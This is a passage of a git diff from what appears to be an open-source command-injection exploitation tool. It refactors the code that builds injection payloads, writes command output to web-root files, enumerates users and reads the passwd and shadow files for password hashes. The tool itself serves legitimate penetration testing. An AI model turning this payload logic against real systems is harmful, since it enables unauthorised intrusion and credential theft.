dest_to_upload + cmd = add_command_substitution(cmd) return cmd - """ Change directory """ diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index f06e8b04be..2cdd04b4f1 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -196,7 +196,7 @@ def invalid_data(request): if single_request: print(settings.SINGLE_WHITESPACE) if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: - sub_content = http_method + " " + prefix + menu.options.host + request_url + sub_content = http_method + settings.SINGLE_WHITESPACE + prefix + menu.options.host + request_url print(settings.print_sub_content(sub_content)) if menu.options.cookie: sub_content = "Cookie: " + menu.options.cookie diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index db1786a10b..38412ef35c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -35,7 +35,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ _ = False cmd = settings.PS_VERSION if alter_shell: - cmd = cmd.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) # Evaluate injection results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -112,7 +112,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ distro_name = cb_injector.injection_results(response, TAG, cmd) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: - target_os = target_os + " " + distro_name + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -181,20 +181,19 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_current_user_privs(shell, filename, _) - """ System users enumeration """ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False + cmd = settings.SYS_USERS if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" + cmd = settings.WIN_SYS_USERS + cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) else: - settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) - cmd = settings.SYS_USERS + cmd = checks.quoted_cmd(cmd) if settings.TARGET_OS == "win": cmd = "cmd /c " + cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -236,8 +235,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - info_msg = "Executing the user-supplied command: '" + cmd + "'." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_single_os_cmd_msg(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -250,12 +248,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell and shell != "": - _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, shell)) - else: - err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_error_msg(err_msg)) + checks.print_single_os_cmd(cmd, shell) """ Check the defined options @@ -267,43 +260,32 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): - info_msg = "Fetching powershell version." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().ps_version_msg() powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.hostname: - info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().hostname_msg() hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.current_user: - info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().current_user_msg() current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.is_root or menu.options.is_admin: - info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.sys_info: - info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().os_info_msg() system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.users: - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_users_msg() system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True @@ -312,9 +294,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur check_option = "--passwords" checks.unavailable_option(check_option) else: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_passes_msg() system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index abf0292659..c50ac0af2d 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -35,7 +35,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ _ = False cmd = settings.PS_VERSION if alter_shell: - cmd = cmd.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) else: cmd = cmd = checks.quoted_cmd(cmd) # Evaluate injection results. @@ -109,7 +109,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ distro_name = eb_injector.injection_results(response, TAG, cmd) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: - target_os = target_os + " " + distro_name + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -137,14 +137,14 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ """ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False + cmd = settings.CURRENT_USER if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" + cmd = settings.WIN_SYS_USERS + cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) else: - settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) - cmd = settings.CURRENT_USER + cmd = checks.quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -189,16 +189,16 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re """ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False + cmd = settings.SYS_USERS if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" + cmd = settings.WIN_SYS_USERS + cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) else: - settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) + cmd = checks.quoted_cmd(cmd) else: - settings.SYS_USERS = settings.EVAL_SYS_USERS - cmd = settings.SYS_USERS + cmd = settings.EVAL_SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -208,7 +208,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Evaluate injection results. sys_users = eb_injector.injection_results(response, TAG, cmd) sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) + # session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_users(sys_users, filename, _) @@ -238,8 +238,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - info_msg = "Executing the user-supplied command: '" + cmd + "'." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_single_os_cmd_msg(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -252,12 +251,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell and shell != "": - _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, shell)) - else: - err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_error_msg(err_msg)) + checks.print_single_os_cmd(cmd, shell) """ Check the defined options @@ -269,43 +263,32 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): - info_msg = "Fetching powershell version." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().ps_version_msg() powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.hostname: - info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().hostname_msg() hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.current_user: - info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().current_user_msg() current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.is_root or menu.options.is_admin: - info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.sys_info: - info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().os_info_msg() system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.users: - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_users_msg() system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True @@ -314,9 +297,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur check_option = "--passwords" checks.unavailable_option(check_option) else: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_passes_msg() system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 20884d3b98..760180f8c1 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -97,9 +97,9 @@ def injection_test_results(response, TAG, randvcalc): html_data = checks.page_encoding(response, action="decode") html_data = re.sub("\n", " ", html_data) if settings.SKIP_CALC: - shell = re.findall(r"" + TAG + " " + TAG + " " + TAG + " " , html_data) + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + " " , html_data) else: - shell = re.findall(r"" + TAG + " " + str(randvcalc) + " " + TAG + " " + TAG + " " , html_data) + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + " " , html_data) return shell """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index dc54fb7b28..2ca6dacd8b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -34,7 +34,7 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp _ = False cmd = settings.PS_VERSION if alter_shell: - cmd = cmd.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) else: cmd = cmd = checks.quoted_cmd(cmd) # Evaluate injection results. @@ -99,7 +99,7 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: - target_os = target_os + " " + distro_name + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -163,14 +163,14 @@ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, w """ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False + cmd = settings.SYS_USERS if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" + cmd = settings.WIN_SYS_USERS + cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) else: - settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) - cmd = settings.SYS_USERS + cmd = checks.quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -204,8 +204,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac """ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd - info_msg = "Executing the user-supplied command: '" + cmd + "'." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_single_os_cmd_msg(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -215,12 +214,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell and shell != "": - _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, shell)) - else: - err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_error_msg(err_msg)) + checks.print_single_os_cmd(cmd, shell) """ Check the defined options @@ -232,43 +226,32 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): - info_msg = "Fetching powershell version." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().ps_version_msg() powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.hostname: - info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().hostname_msg() hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.current_user: - info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().current_user_msg() current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.is_root or menu.options.is_admin: - info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.sys_info: - info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().os_info_msg() system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.users: - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_users_msg() system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True @@ -277,9 +260,7 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ check_option = "--passwords" checks.unavailable_option(check_option) else: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_passes_msg() system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 7b30de7d19..b5648fbc87 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -67,7 +67,7 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h if settings.TARGET_OS == "win": cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: - cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT + cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index bedb6ba0b9..5b66e37efe 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -20,6 +20,7 @@ from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ File-based decision payload (check if host is vulnerable). @@ -29,11 +30,11 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == "win": payload = (separator + "powershell.exe -InputFormat none Add-Content " + - OUTPUT_TEXTFILE + " " + TAG + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + TAG ) else: payload = (separator + - "echo " + TAG + ">" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) return payload @@ -79,7 +80,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host (cmd /c \"" + cmd + - "\")\"') do @set /p =%i " + ">" + OUTPUT_TEXTFILE + "< nul" + "\")\"') do @set /p =%i " + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul" ) else: # if settings.USER_AGENT_INJECTION == True or \ @@ -87,9 +88,9 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): # settings.HOST_INJECTION == True or \ # settings.CUSTOM_HEADER_INJECTION == True: # if not settings.DEL in cmd: - # cmd = "echo $(" + cmd + ")" + # cmd = checks.add_command_substitution(cmd) payload = (separator + - cmd + ">" + settings.WEB_ROOT + OUTPUT_TEXTFILE + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) return payload @@ -103,7 +104,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): payload = (separator +cmd + " " ) else: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + ">" + OUTPUT_TEXTFILE + "')\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "')\"" payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 9caa704547..746d26a4ec 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -92,7 +92,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: - target_os = target_os + " " + distro_name + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: @@ -149,13 +149,13 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites """ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False + cmd = settings.SYS_USERS if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" + cmd = settings.WIN_SYS_USERS + cmd = cmd + settings.WIN_REPLACE_WHITESPACE # URL encode "+ " if POST request and python alternative shell. if alter_shell and http_request_method == settings.HTTPMETHOD.POST: - settings.SYS_USERS = settings.SYS_USERS.replace("+ ","%2B") - cmd = settings.SYS_USERS + cmd = cmd.replace("+","%2B") if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: # The main command injection exploitation. @@ -191,8 +191,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - info_msg = "Executing the user-supplied command: '" + cmd + "'." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_single_os_cmd_msg(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) @@ -202,12 +201,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 - if len(output) > 1: - _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, output)) - else: - err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_error_msg(err_msg)) + checks.print_single_os_cmd(cmd, output) return check_how_long, output """ @@ -223,53 +217,42 @@ def reset(): if not checks.ps_incompatible_os(): if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching powershell version." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().ps_version_msg() powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.hostname: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().hostname_msg() hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.current_user: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().current_user_msg() current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.is_root or menu.options.is_admin: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.sys_info: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().os_info_msg() system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.users: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_users_msg() system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() @@ -280,9 +263,7 @@ def reset(): check_option = "--passwords" checks.unavailable_option(check_option) else: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_passes_msg() system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 3a202c4fcb..62bfeacf5f 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -56,7 +56,7 @@ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespa cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: settings.WEB_ROOT = "" - cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE 